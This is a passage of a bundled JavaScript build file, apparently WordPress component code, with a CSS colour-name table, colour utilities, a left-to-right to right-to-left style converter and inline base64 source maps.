"#f0e68c", mediumseagreen: "#3cb371", limegreen: "#32cd32", mediumspringgreen: "#00fa9a", lightskyblue: "#87cefa", lightblue: "#add8e6", midnightblue: "#191970", lightpink: "#ffb6c1", mistyrose: "#ffe4e1", moccasin: "#ffe4b5", mintcream: "#f5fffa", lightslategray: "#778899", lightslategrey: "#778899", navajowhite: "#ffdead", navy: "#000080", mediumvioletred: "#c71585", powderblue: "#b0e0e6", palegoldenrod: "#eee8aa", oldlace: "#fdf5e6", paleturquoise: "#afeeee", mediumturquoise: "#48d1cc", mediumorchid: "#ba55d3", rebeccapurple: "#663399", lightsteelblue: "#b0c4de", mediumslateblue: "#7b68ee", thistle: "#d8bfd8", tan: "#d2b48c", orchid: "#da70d6", mediumpurple: "#9370db", purple: "#800080", pink: "#ffc0cb", skyblue: "#87ceeb", springgreen: "#00ff7f", palegreen: "#98fb98", red: "#ff0000", yellow: "#ffff00", slateblue: "#6a5acd", lavenderblush: "#fff0f5", peru: "#cd853f", palevioletred: "#db7093", violet: "#ee82ee", teal: "#008080", slategray: "#708090", slategrey: "#708090", aliceblue: "#f0f8ff", darkseagreen: "#8fbc8f", darkolivegreen: "#556b2f", greenyellow: "#adff2f", seagreen: "#2e8b57", seashell: "#fff5ee", tomato: "#ff6347", silver: "#c0c0c0", sienna: "#a0522d", lavender: "#e6e6fa", lightgreen: "#90ee90", orange: "#ffa500", orangered: "#ff4500", steelblue: "#4682b4", royalblue: "#4169e1", turquoise: "#40e0d0", yellowgreen: "#9acd32", salmon: "#fa8072", saddlebrown: "#8b4513", sandybrown: "#f4a460", rosybrown: "#bc8f8f", darksalmon: "#e9967a", lightgoldenrodyellow: "#fafad2", snow: "#fffafa", lightgrey: "#d3d3d3", lightgray: "#d3d3d3", dimgray: "#696969", dimgrey: "#696969", olivedrab: "#6b8e23", olive: "#808000" }, r4 = {};
22257 for (var d3 in a3) r4[a3[d3]] = d3;
22258 var l3 = {};
22259 e3.prototype.toName = function(f4) {
22260 if (!(this.rgba.a || this.rgba.r || this.rgba.g || this.rgba.b)) return "transparent";
22261 var d4, i3, n3 = r4[this.toHex()];
22262 if (n3) return n3;
22263 if (null == f4 ? void 0 : f4.closest) {
22264 var o4 = this.toRgb(), t4 = 1 / 0, b3 = "black";
22265 if (!l3.length) for (var c3 in a3) l3[c3] = new e3(a3[c3]).toRgb();
22266 for (var g3 in a3) {
22267 var u3 = (d4 = o4, i3 = l3[g3], Math.pow(d4.r - i3.r, 2) + Math.pow(d4.g - i3.g, 2) + Math.pow(d4.b - i3.b, 2));
22268 u3 < t4 && (t4 = u3, b3 = g3);
22269 }
22270 return b3;
22271 }
22272 };
22273 f3.string.push([function(f4) {
22274 var r5 = f4.toLowerCase(), d4 = "transparent" === r5 ? "#0000" : a3[r5];
22275 return d4 ? new e3(d4).toRgb() : null;
22276 }, "name"]);
22277 }
22278
22279 // packages/components/build-module/utils/colors.mjs
22280 var colorComputationNode;
22281 k([names_default]);
22282 function getColorComputationNode() {
22283 if (typeof document === "undefined") {
22284 return;
22285 }
22286 if (!colorComputationNode) {
22287 const el = document.createElement("div");
22288 el.setAttribute("data-g2-color-computation-node", "");
22289 document.body.appendChild(el);
22290 colorComputationNode = el;
22291 }
22292 return colorComputationNode;
22293 }
22294 function isColor(value) {
22295 if (typeof value !== "string") {
22296 return false;
22297 }
22298 const test2 = w(value);
22299 return test2.isValid();
22300 }
22301 function _getComputedBackgroundColor(backgroundColor) {
22302 if (typeof backgroundColor !== "string") {
22303 return "";
22304 }
22305 if (isColor(backgroundColor)) {
22306 return backgroundColor;
22307 }
22308 if (!backgroundColor.includes("var(")) {
22309 return "";
22310 }
22311 if (typeof document === "undefined") {
22312 return "";
22313 }
22314 const el = getColorComputationNode();
22315 if (!el) {
22316 return "";
22317 }
22318 el.style.background = backgroundColor;
22319 const computedColor = window?.getComputedStyle(el).background;
22320 el.style.background = "";
22321 return computedColor || "";
22322 }
22323 var getComputedBackgroundColor = memize(_getComputedBackgroundColor);
22324 function getOptimalTextColor(backgroundColor) {
22325 const background2 = getComputedBackgroundColor(backgroundColor);
22326 return w(background2).isLight() ? "#000000" : "#ffffff";
22327 }
22328 function getOptimalTextShade(backgroundColor) {
22329 const result = getOptimalTextColor(backgroundColor);
22330 return result === "#000000" ? "dark" : "light";
22331 }
22332
22333 // packages/components/build-module/utils/rtl.mjs
22334 var import_i18n2 = __toESM(require_i18n(), 1);
22335 var LOWER_LEFT_REGEXP = new RegExp(/-left/g);
22336 var LOWER_RIGHT_REGEXP = new RegExp(/-right/g);
22337 var UPPER_LEFT_REGEXP = new RegExp(/Left/g);
22338 var UPPER_RIGHT_REGEXP = new RegExp(/Right/g);
22339 function getConvertedKey(key) {
22340 if (key === "left") {
22341 return "right";
22342 }
22343 if (key === "right") {
22344 return "left";
22345 }
22346 if (LOWER_LEFT_REGEXP.test(key)) {
22347 return key.replace(LOWER_LEFT_REGEXP, "-right");
22348 }
22349 if (LOWER_RIGHT_REGEXP.test(key)) {
22350 return key.replace(LOWER_RIGHT_REGEXP, "-left");
22351 }
22352 if (UPPER_LEFT_REGEXP.test(key)) {
22353 return key.replace(UPPER_LEFT_REGEXP, "Right");
22354 }
22355 if (UPPER_RIGHT_REGEXP.test(key)) {
22356 return key.replace(UPPER_RIGHT_REGEXP, "Left");
22357 }
22358 return key;
22359 }
22360 var convertLTRToRTL = (ltrStyles = {}) => {
22361 return Object.fromEntries(Object.entries(ltrStyles).map(([key, value]) => [getConvertedKey(key), value]));
22362 };
22363 function rtl(ltrStyles = {}, rtlStyles) {
22364 return () => {
22365 if (rtlStyles) {
22366 return (0, import_i18n2.isRTL)() ? /* @__PURE__ */ css(rtlStyles, false ? "" : ";label:rtl;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJ0bC5qcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE4RW9CIiwiZmlsZSI6InJ0bC5qcyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBXb3JkUHJlc3MgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGlzUlRMIH0gZnJvbSAnQHdvcmRwcmVzcy9pMThuJztcblxuY29uc3QgTE9XRVJfTEVGVF9SRUdFWFAgPSBuZXcgUmVnRXhwKCAvLWxlZnQvZyApO1xuY29uc3QgTE9XRVJfUklHSFRfUkVHRVhQID0gbmV3IFJlZ0V4cCggLy1yaWdodC9nICk7XG5jb25zdCBVUFBFUl9MRUZUX1JFR0VYUCA9IG5ldyBSZWdFeHAoIC9MZWZ0L2cgKTtcbmNvbnN0IFVQUEVSX1JJR0hUX1JFR0VYUCA9IG5ldyBSZWdFeHAoIC9SaWdodC9nICk7XG5cbi8qKlxuICogRmxpcHMgYSBDU1MgcHJvcGVydHkgZnJvbSBsZWZ0IDwtPiByaWdodC5cbiAqXG4gKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBDU1MgcHJvcGVydHkgbmFtZS5cbiAqXG4gKiBAcmV0dXJuIHtzdHJpbmd9IFRoZSBmbGlwcGVkIENTUyBwcm9wZXJ0eSBuYW1lLCBpZiBhcHBsaWNhYmxlLlxuICovXG5mdW5jdGlvbiBnZXRDb252ZXJ0ZWRLZXkoIGtleSApIHtcblx0aWYgKCBrZXkgPT09ICdsZWZ0JyApIHtcblx0XHRyZXR1cm4gJ3JpZ2h0Jztcblx0fVxuXG5cdGlmICgga2V5ID09PSAncmlnaHQnICkge1xuXHRcdHJldHVybiAnbGVmdCc7XG5cdH1cblxuXHRpZiAoIExPV0VSX0xFRlRfUkVHRVhQLnRlc3QoIGtleSApICkge1xuXHRcdHJldHVybiBrZXkucmVwbGFjZSggTE9XRVJfTEVGVF9SRUdFWFAsICctcmlnaHQnICk7XG5cdH1cblxuXHRpZiAoIExPV0VSX1JJR0hUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIExPV0VSX1JJR0hUX1JFR0VYUCwgJy1sZWZ0JyApO1xuXHR9XG5cblx0aWYgKCBVUFBFUl9MRUZUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIFVQUEVSX0xFRlRfUkVHRVhQLCAnUmlnaHQnICk7XG5cdH1cblxuXHRpZiAoIFVQUEVSX1JJR0hUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIFVQUEVSX1JJR0hUX1JFR0VYUCwgJ0xlZnQnICk7XG5cdH1cblxuXHRyZXR1cm4ga2V5O1xufVxuXG4vKipcbiAqIEFuIGluY3JlZGlibHkgYmFzaWMgbHRyIC0+IHJ0bCBjb252ZXJ0ZXIgZm9yIHN0eWxlIHByb3BlcnRpZXNcbiAqXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IGx0clN0eWxlc1xuICpcbiAqIEByZXR1cm4ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IENvbnZlcnRlZCBsdHIgLT4gcnRsIHN0eWxlc1xuICovXG5leHBvcnQgY29uc3QgY29udmVydExUUlRvUlRMID0gKCBsdHJTdHlsZXMgPSB7fSApID0+IHtcblx0cmV0dXJuIE9iamVjdC5mcm9tRW50cmllcyhcblx0XHRPYmplY3QuZW50cmllcyggbHRyU3R5bGVzICkubWFwKCAoIFsga2V5LCB2YWx1ZSBdICkgPT4gW1xuXHRcdFx0Z2V0Q29udmVydGVkS2V5KCBrZXkgKSxcblx0XHRcdHZhbHVlLFxuXHRcdF0gKVxuXHQpO1xufTtcblxuLyoqXG4gKiBBIGhpZ2hlci1vcmRlciBmdW5jdGlvbiB0aGF0IGNyZWF0ZSBhbiBpbmNyZWRpYmx5IGJhc2ljIGx0ciAtPiBydGwgc3R5bGUgY29udmVydGVyIGZvciBDU1Mgb2JqZWN0cy5cbiAqXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IGx0clN0eWxlcyAgIEx0ciBzdHlsZXMuIENvbnZlcnRzIGFuZCByZW5kZXJzIGZyb20gbHRyIC0+IHJ0bCBzdHlsZXMsIGlmIGFwcGxpY2FibGUuXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IFtydGxTdHlsZXNdIFJ0bCBzdHlsZXMuIFJlbmRlcnMgaWYgcHJvdmlkZWQuXG4gKlxuICogQHJldHVybiB7KCkgPT4gaW1wb3J0KCdAZW1vdGlvbi9yZWFjdCcpLlNlcmlhbGl6ZWRTdHlsZXN9IEEgZnVuY3Rpb24gdG8gb3V0cHV0IENTUyBzdHlsZXMgZm9yIEVtb3Rpb24ncyByZW5kZXJlclxuICovXG5leHBvcnQgZnVuY3Rpb24gcnRsKCBsdHJTdHlsZXMgPSB7fSwgcnRsU3R5bGVzICkge1xuXHRyZXR1cm4gKCkgPT4ge1xuXHRcdGlmICggcnRsU3R5bGVzICkge1xuXHRcdFx0Ly8gQHRzLWlnbm9yZTogYGNzc2AgdHlwZXMgYXJlIHdyb25nLCBpdCBjYW4gYWNjZXB0IGFuIG9iamVjdDogaHR0cHM6Ly9lbW90aW9uLnNoL2RvY3Mvb2JqZWN0LXN0eWxlcyN3aXRoLWNzc1xuXHRcdFx0cmV0dXJuIGlzUlRMKCkgPyBjc3MoIHJ0bFN0eWxlcyApIDogY3NzKCBsdHJTdHlsZXMgKTtcblx0XHR9XG5cblx0XHQvLyBAdHMtaWdub3JlOiBgY3NzYCB0eXBlcyBhcmUgd3JvbmcsIGl0IGNhbiBhY2NlcHQgYW4gb2JqZWN0OiBodHRwczovL2Vtb3Rpb24uc2gvZG9jcy9vYmplY3Qtc3R5bGVzI3dpdGgtY3NzXG5cdFx0cmV0dXJuIGlzUlRMKCkgPyBjc3MoIGNvbnZlcnRMVFJUb1JUTCggbHRyU3R5bGVzICkgKSA6IGNzcyggbHRyU3R5bGVzICk7XG5cdH07XG59XG5cbi8qKlxuICogQ2FsbCB0aGlzIGluIHRoZSBgdXNlTWVtb2AgZGVwZW5kZW5jeSBhcnJheSB0byBlbnN1cmUgdGhhdCBzdWJzZXF1ZW50IHJlbmRlcnMgd2lsbFxuICogY2F1c2UgcnRsIHN0eWxlcyB0byB1cGRhdGUgYmFzZWQgb24gdGhlIGBpc1JUTGAgcmV0dXJuIHZhbHVlIGV2ZW4gaWYgYWxsIG90aGVyIGRlcGVuZGVuY2llc1xuICogcmVtYWluIHRoZSBzYW1lLlxuICpcbiAqIEBleGFtcGxlXG4gKiBjb25zdCBzdHlsZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG4gKiAgIHJldHVybiBjc3NgXG4gKiAgICAgJHsgcnRsKCB7IG1hcmdpblJpZ2h0OiAnMTBweCcgfSApIH1cbiAqICAgYDtcbiAqIH0sIFsgcnRsLndhdGNoKCkgXSApO1xuICovXG5ydGwud2F0Y2ggPSAoKSA9PiBpc1JUTCgpO1xuIl19 */") : /* @__PURE__ */ css(ltrStyles, false ? "" : ";label:rtl;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJ0bC5qcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE4RXVDIiwiZmlsZSI6InJ0bC5qcyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBXb3JkUHJlc3MgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGlzUlRMIH0gZnJvbSAnQHdvcmRwcmVzcy9pMThuJztcblxuY29uc3QgTE9XRVJfTEVGVF9SRUdFWFAgPSBuZXcgUmVnRXhwKCAvLWxlZnQvZyApO1xuY29uc3QgTE9XRVJfUklHSFRfUkVHRVhQID0gbmV3IFJlZ0V4cCggLy1yaWdodC9nICk7XG5jb25zdCBVUFBFUl9MRUZUX1JFR0VYUCA9IG5ldyBSZWdFeHAoIC9MZWZ0L2cgKTtcbmNvbnN0IFVQUEVSX1JJR0hUX1JFR0VYUCA9IG5ldyBSZWdFeHAoIC9SaWdodC9nICk7XG5cbi8qKlxuICogRmxpcHMgYSBDU1MgcHJvcGVydHkgZnJvbSBsZWZ0IDwtPiByaWdodC5cbiAqXG4gKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBDU1MgcHJvcGVydHkgbmFtZS5cbiAqXG4gKiBAcmV0dXJuIHtzdHJpbmd9IFRoZSBmbGlwcGVkIENTUyBwcm9wZXJ0eSBuYW1lLCBpZiBhcHBsaWNhYmxlLlxuICovXG5mdW5jdGlvbiBnZXRDb252ZXJ0ZWRLZXkoIGtleSApIHtcblx0aWYgKCBrZXkgPT09ICdsZWZ0JyApIHtcblx0XHRyZXR1cm4gJ3JpZ2h0Jztcblx0fVxuXG5cdGlmICgga2V5ID09PSAncmlnaHQnICkge1xuXHRcdHJldHVybiAnbGVmdCc7XG5cdH1cblxuXHRpZiAoIExPV0VSX0xFRlRfUkVHRVhQLnRlc3QoIGtleSApICkge1xuXHRcdHJldHVybiBrZXkucmVwbGFjZSggTE9XRVJfTEVGVF9SRUdFWFAsICctcmlnaHQnICk7XG5cdH1cblxuXHRpZiAoIExPV0VSX1JJR0hUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIExPV0VSX1JJR0hUX1JFR0VYUCwgJy1sZWZ0JyApO1xuXHR9XG5cblx0aWYgKCBVUFBFUl9MRUZUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIFVQUEVSX0xFRlRfUkVHRVhQLCAnUmlnaHQnICk7XG5cdH1cblxuXHRpZiAoIFVQUEVSX1JJR0hUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIFVQUEVSX1JJR0hUX1JFR0VYUCwgJ0xlZnQnICk7XG5cdH1cblxuXHRyZXR1cm4ga2V5O1xufVxuXG4vKipcbiAqIEFuIGluY3JlZGlibHkgYmFzaWMgbHRyIC0+IHJ0bCBjb252ZXJ0ZXIgZm9yIHN0eWxlIHByb3BlcnRpZXNcbiAqXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IGx0clN0eWxlc1xuICpcbiAqIEByZXR1cm4ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IENvbnZlcnRlZCBsdHIgLT4gcnRsIHN0eWxlc1xuICovXG5leHBvcnQgY29uc3QgY29udmVydExUUlRvUlRMID0gKCBsdHJTdHlsZXMgPSB7fSApID0+IHtcblx0cmV0dXJuIE9iamVjdC5mcm9tRW50cmllcyhcblx0XHRPYmplY3QuZW50cmllcyggbHRyU3R5bGVzICkubWFwKCAoIFsga2V5LCB2YWx1ZSBdICkgPT4gW1xuXHRcdFx0Z2V0Q29udmVydGVkS2V5KCBrZXkgKSxcblx0XHRcdHZhbHVlLFxuXHRcdF0gKVxuXHQpO1xufTtcblxuLyoqXG4gKiBBIGhpZ2hlci1vcmRlciBmdW5jdGlvbiB0aGF0IGNyZWF0ZSBhbiBpbmNyZWRpYmx5IGJhc2ljIGx0ciAtPiBydGwgc3R5bGUgY29udmVydGVyIGZvciBDU1Mgb2JqZWN0cy5cbiAqXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IGx0clN0eWxlcyAgIEx0ciBzdHlsZXMuIENvbnZlcnRzIGFuZCByZW5kZXJzIGZyb20gbHRyIC0+IHJ0bCBzdHlsZXMsIGlmIGFwcGxpY2FibGUuXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IFtydGxTdHlsZXNdIFJ0bCBzdHlsZXMuIFJlbmRlcnMgaWYgcHJvdmlkZWQuXG4gKlxuICogQHJldHVybiB7KCkgPT4gaW1wb3J0KCdAZW1vdGlvbi9yZWFjdCcpLlNlcmlhbGl6ZWRTdHlsZXN9IEEgZnVuY3Rpb24gdG8gb3V0cHV0IENTUyBzdHlsZXMgZm9yIEVtb3Rpb24ncyByZW5kZXJlclxuICovXG5leHBvcnQgZnVuY3Rpb24gcnRsKCBsdHJTdHlsZXMgPSB7fSwgcnRsU3R5bGVzICkge1xuXHRyZXR1cm4gKCkgPT4ge1xuXHRcdGlmICggcnRsU3R5bGVzICkge1xuXHRcdFx0Ly8gQHRzLWlnbm9yZTogYGNzc2AgdHlwZXMgYXJlIHdyb25nLCBpdCBjYW4gYWNjZXB0IGFuIG9iamVjdDogaHR0cHM6Ly9lbW90aW9uLnNoL2RvY3Mvb2JqZWN0LXN0eWxlcyN3aXRoLWNzc1xuXHRcdFx0cmV0dXJuIGlzUlRMKCkgPyBjc3MoIHJ0bFN0eWxlcyApIDogY3NzKCBsdHJTdHlsZXMgKTtcblx0XHR9XG5cblx0XHQvLyBAdHMtaWdub3JlOiBgY3NzYCB0eXBlcyBhcmUgd3JvbmcsIGl0IGNhbiBhY2NlcHQgYW4gb2JqZWN0OiBodHRwczovL2Vtb3Rpb24uc2gvZG9jcy9vYmplY3Qtc3R5bGVzI3dpdGgtY3NzXG5cdFx0cmV0dXJuIGlzUlRMKCkgPyBjc3MoIGNvbnZlcnRMVFJUb1JUTCggbHRyU3R5bGVzICkgKSA6IGNzcyggbHRyU3R5bGVzICk7XG5cdH07XG59XG5cbi8qKlxuICogQ2FsbCB0aGlzIGluIHRoZSBgdXNlTWVtb2AgZGVwZW5kZW5jeSBhcnJheSB0byBlbnN1cmUgdGhhdCBzdWJzZXF1ZW50IHJlbmRlcnMgd2lsbFxuICogY2F1c2UgcnRsIHN0eWxlcyB0byB1cGRhdGUgYmFzZWQgb24gdGhlIGBpc1JUTGAgcmV0dXJuIHZhbHVlIGV2ZW4gaWYgYWxsIG90aGVyIGRlcGVuZGVuY2llc1xuICogcmVtYWluIHRoZSBzYW1lLlxuICpcbiAqIEBleGFtcGxlXG4gKiBjb25zdCBzdHlsZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG4gKiAgIHJldHVybiBjc3NgXG4gKiAgICAgJHsgcnRsKCB7IG1hcmdpblJpZ2h0OiAnMTBweCcgfSApIH1cbiAqICAgYDtcbiAqIH0sIFsgcnRsLndhdGNoKCkgXSApO1xuICovXG5ydGwud2F0Y2ggPSAoKSA9PiBpc1JUTCgpO1xuIl19 */");
22367 }
22368 return (0, import_i18n2.isRTL)() ? /* @__PURE__ */ css(convertLTRToRTL(ltrStyles), false ? "" : ";label:rtl;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJ0bC5qcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrRm1CIiwiZmlsZSI6InJ0bC5qcyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBXb3JkUHJlc3MgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGlzUlRMIH0gZnJvbSAnQHdvcmRwcmVzcy9pMThuJztcblxuY29uc3QgTE9XRVJfTEVGVF9SRUdFWFAgPSBuZXcgUmVnRXhwKCAvLWxlZnQvZyApO1xuY29uc3QgTE9XRVJfUklHSFRfUkVHRVhQID0gbmV3IFJlZ0V4cCggLy1yaWdodC9nICk7XG5jb25zdCBVUFBFUl9MRUZUX1JFR0VYUCA9IG5ldyBSZWdFeHAoIC9MZWZ0L2cgKTtcbmNvbnN0IFVQUEVSX1JJR0hUX1JFR0VYUCA9IG5ldyBSZWdFeHAoIC9SaWdodC9nICk7XG5cbi8qKlxuICogRmxpcHMgYSBDU1MgcHJvcGVydHkgZnJvbSBsZWZ0IDwtPiByaWdodC5cbiAqXG4gKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBDU1MgcHJvcGVydHkgbmFtZS5cbiAqXG4gKiBAcmV0dXJuIHtzdHJpbmd9IFRoZSBmbGlwcGVkIENTUyBwcm9wZXJ0eSBuYW1lLCBpZiBhcHBsaWNhYmxlLlxuICovXG5mdW5jdGlvbiBnZXRDb252ZXJ0ZWRLZXkoIGtleSApIHtcblx0aWYgKCBrZXkgPT09ICdsZWZ0JyApIHtcblx0XHRyZXR1cm4gJ3JpZ2h0Jztcblx0fVxuXG5cdGlmICgga2V5ID09PSAncmlnaHQnICkge1xuXHRcdHJldHVybiAnbGVmdCc7XG5cdH1cblxuXHRpZiAoIExPV0VSX0xFRlRfUkVHRVhQLnRlc3QoIGtleSApICkge1xuXHRcdHJldHVybiBrZXkucmVwbGFjZSggTE9XRVJfTEVGVF9SRUdFWFAsICctcmlnaHQnICk7XG5cdH1cblxuXHRpZiAoIExPV0VSX1JJR0hUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIExPV0VSX1JJR0hUX1JFR0VYUCwgJy1sZWZ0JyApO1xuXHR9XG5cblx0aWYgKCBVUFBFUl9MRUZUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIFVQUEVSX0xFRlRfUkVHRVhQLCAnUmlnaHQnICk7XG5cdH1cblxuXHRpZiAoIFVQUEVSX1JJR0hUX1JFR0VYUC50ZXN0KCBrZXkgKSApIHtcblx0XHRyZXR1cm4ga2V5LnJlcGxhY2UoIFVQUEVSX1JJR0hUX1JFR0VYUCwgJ0xlZnQnICk7XG5cdH1cblxuXHRyZXR1cm4ga2V5O1xufVxuXG4vKipcbiAqIEFuIGluY3JlZGlibHkgYmFzaWMgbHRyIC0+IHJ0bCBjb252ZXJ0ZXIgZm9yIHN0eWxlIHByb3BlcnRpZXNcbiAqXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IGx0clN0eWxlc1xuICpcbiAqIEByZXR1cm4ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IENvbnZlcnRlZCBsdHIgLT4gcnRsIHN0eWxlc1xuICovXG5leHBvcnQgY29uc3QgY29udmVydExUUlRvUlRMID0gKCBsdHJTdHlsZXMgPSB7fSApID0+IHtcblx0cmV0dXJuIE9iamVjdC5mcm9tRW50cmllcyhcblx0XHRPYmplY3QuZW50cmllcyggbHRyU3R5bGVzICkubWFwKCAoIFsga2V5LCB2YWx1ZSBdICkgPT4gW1xuXHRcdFx0Z2V0Q29udmVydGVkS2V5KCBrZXkgKSxcblx0XHRcdHZhbHVlLFxuXHRcdF0gKVxuXHQpO1xufTtcblxuLyoqXG4gKiBBIGhpZ2hlci1vcmRlciBmdW5jdGlvbiB0aGF0IGNyZWF0ZSBhbiBpbmNyZWRpYmx5IGJhc2ljIGx0ciAtPiBydGwgc3R5bGUgY29udmVydGVyIGZvciBDU1Mgb2JqZWN0cy5cbiAqXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IGx0clN0eWxlcyAgIEx0ciBzdHlsZXMuIENvbnZlcnRzIGFuZCByZW5kZXJzIGZyb20gbHRyIC0+IHJ0bCBzdHlsZXMsIGlmIGFwcGxpY2FibGUuXG4gKiBAcGFyYW0ge1JlYWN0LkNTU1Byb3BlcnRpZXN9IFtydGxTdHlsZXNdIFJ0bCBzdHlsZXMuIFJlbmRlcnMgaWYgcHJvdmlkZWQuXG4gKlxuICogQHJldHVybiB7KCkgPT4gaW1wb3J0KCdAZW1vdGlvbi9yZWFjdCcpLlNlcmlhbGl6ZWRTdHlsZXN9IEEgZnVuY3Rpb24gdG8gb3V0cHV0IENTUyBzdHlsZXMgZm9yIEVtb3Rpb24ncyByZW5kZXJlclxuICovXG5leHBvcnQgZnVuY3Rpb24gcnRsKCBsdHJTdHlsZXMgPSB7fSwgcnRsU3R5bGVzICkge1xuXHRyZXR1cm4gKCkgPT4ge1xuXHRcdGlmICggcnRsU3R5bGVzICkge1xuXHRcdFx0Ly8gQHRzLWlnbm9yZTogYGNzc2AgdHlwZXMgYXJlIHdyb25nLCBpdCBjYW4gYWNjZXB0IGFuIG9iamVjdDogaHR0cHM6Ly9lbW90aW9uLnNoL2RvY3Mvb2JqZWN0LXN0eWxlcyN3aXRoLWNzc1xuXHRcdFx0cmV0dXJuIGlzUlRMKCkgPyBjc3MoIHJ0bFN0eWxlcyApIDogY3NzKCBsdHJTdHlsZXMgKTtcblx0XHR9XG5cblx0XHQvLyBAdHMtaWdub3JlOiBgY3NzYCB0eXBlcyBhcmUgd3JvbmcsIGl0IGNhbiBhY2NlcHQgYW4gb2JqZWN0OiBodHRwczovL2Vtb3Rpb24uc2gvZG9jcy9vYmplY3Qtc3R5bGVzI3dpdGgtY3NzXG5cdFx0cmV0dXJuIGlzUlRMKCkgPyBjc3MoIGNvbnZlcnRMVFJUb1JUTCggbHRyU3R5bGVzICkgKSA6IGNzcyggbHRyU3R5bGVzICk7XG5cdH07XG59XG5cbi8qKlxuICogQ2FsbCB0aGlzIGluIHRoZSBgdXNlTWVtb2AgZGVwZW5kZW5jeSBhcnJheSB0byBlbnN1cmUgdGhhdCBzdWJzZXF1ZW50IHJlbmRlcnMgd2lsbFxuICogY2F1c2UgcnRsIHN0eWxlcyB0byB1cGRhdGUgYmFzZWQgb24gdGhlIGBpc1JUTGAgcmV0dXJuIHZhbHVlIGV2ZW4gaWYgYWxsIG90aGVyIGRlcGVuZGVuY2llc1xuICogcmVtYWluIHRoZSBzYW1lLlxuICpcbiAqIEBleGFtcGxlXG4gKiBjb25zdCBzdHlsZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG4gKiAgIHJldHVybiBjc3NgXG4gKiAgICAgJHsgcnRsKCB7IG1hcmdpblJpZ2h0OiAnMTBweCcgfSApIH1cbiAqICAgYDtcbiAqIH0sIFsgcnRsLndhdGNoKCkgXSApO1xuICovXG5ydGwud2F0Y2ggPSAoKSA9PiBpc1JUTCgpO1xuIl19 */") : /* @__PURE__ */ css(ltrStyles, false ? "" : ";label:rtl;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJ0bC5qcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrRnlEIiwiZmlsZSI6InJ0bC5qcyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBXb3JkUHJlc3MgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGlzUlRMIH0gZnJvbSAnQHdvcmRwcmVzcy9pMThuJztcblxuY29uc3QgTE9XRVJfTEVGVF9SRUdFWFAgPSBuZXcgUmVnRXhwKCAvLWxlZnQvZyApO1xuY29uc3QgTE9XRVJfUklHSFRfUkVHRVhQID0gbmV3IFJlZ0V4cCggLy1yaWdodC9nICk7XG5jb25zdCBVUFBFUl9MRUZUX1JFR0VYUCA9IG5ldyBSZWdFeHAoIC9M